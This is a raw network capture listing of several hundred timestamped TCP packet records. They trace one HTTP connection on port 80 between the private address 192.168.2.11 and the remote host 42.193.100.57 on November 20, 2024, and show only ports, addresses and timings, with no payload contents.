Nov 20, 2024 09:14:48.141115904 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141145945 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141225100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141236067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141247034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141258001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141262054 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141269922 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141283035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141287088 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141311884 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141335964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141367912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141386032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141396999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141407967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141407967 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141419888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141431093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141433954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141443014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141455889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141465902 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141468048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141480923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141485929 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141509056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141594887 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141686916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141697884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141709089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141720057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141725063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141731024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141745090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141756058 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141757965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141767979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141779900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141789913 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141793966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141815901 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141819954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141853094 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141853094 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141895056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141976118 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141988039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141999006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.142009974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.142020941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.142031908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.142040014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.142044067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.142055988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.142066002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.142066956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.142079115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.142095089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.142126083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.142162085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.142174006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.142184019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.142195940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.142200947 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.142209053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.142230988 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.142254114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.228415966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228431940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228444099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228471041 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.228492022 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.228543997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228555918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228566885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228576899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228584051 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.228610039 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.228638887 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.228682041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228693962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228703022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228708982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228719950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228725910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.228730917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228756905 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.228787899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.228888035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228899956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228910923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228919983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228924036 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.228931904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228950977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228961945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228962898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.228976011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228987932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.228992939 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229001045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229005098 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229037046 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229048014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229147911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229159117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229170084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229181051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229185104 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229207039 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229216099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229218960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229258060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229288101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229300022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229310989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229322910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229327917 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229335070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229343891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229378939 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229484081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229521990 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229609966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229621887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229635000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229645967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229650021 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229665041 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229692936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229762077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229773998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229784966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229795933 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229799986 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229813099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229820013 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229846001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229932070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229944944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229955912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229968071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229974031 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.229979038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229991913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.229996920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230003119 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230015039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230025053 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230045080 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230072021 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230107069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230125904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230150938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230174065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230299950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230312109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230323076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230334044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230341911 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230345011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230356932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230365038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230393887 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230444908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230457067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230483055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230508089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230607033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230618954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230634928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230645895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230655909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230665922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230667114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230679989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230691910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230700970 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230725050 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230736017 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230902910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230915070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230926037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230937004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230947018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230947971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230958939 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230967045 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.230971098 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230983973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.230994940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231003046 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.231004953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231024027 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.231035948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231036901 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.231070042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.231244087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231255054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231296062 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.231400967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231412888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231422901 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231435061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231445074 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231451035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.231487036 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.231558084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231570005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231580973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231591940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231602907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231610060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.231614113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231626987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231647015 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.231673956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.231704950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231715918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231746912 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.231888056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231899023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231909037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231920004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231930017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231934071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.231941938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231954098 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231964111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.231965065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231976986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.231993914 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.232013941 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.232049942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.232063055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.232098103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.232125998 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.232209921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.232222080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.232232094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.232243061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.232254982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.232261896 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.232265949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.232287884 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.232311964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.315407038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.315460920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.315557003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.315568924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.315582037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.315593004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.315598965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.315632105 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.315732002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.315743923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.315754890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.315777063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.315803051 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.315809965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.315820932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.315831900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.315843105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.315850019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.315854073 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.315886021 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.315953970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.315969944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.315996885 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316019058 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316142082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316154003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316164017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316183090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316183090 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316195965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316205025 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316209078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316220999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316231966 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316232920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316251040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316257000 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316262007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316270113 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316298008 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316335917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316349030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316358089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316370010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316374063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316392899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316422939 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316519976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316530943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316541910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316551924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316561937 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316564083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316575050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316579103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316589117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316605091 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316620111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316648960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316663980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316709042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316829920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316842079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316852093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316863060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316871881 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316874027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316885948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316896915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316899061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316910982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.316911936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316941023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.316953897 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317150116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317159891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317171097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317181110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317188025 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317192078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317208052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317210913 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317219973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317230940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317245960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317270041 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317306042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317318916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317328930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317338943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.317348003 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317372084 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.317475080 CET	80	49701	42.193.100.57	192.168.2.11
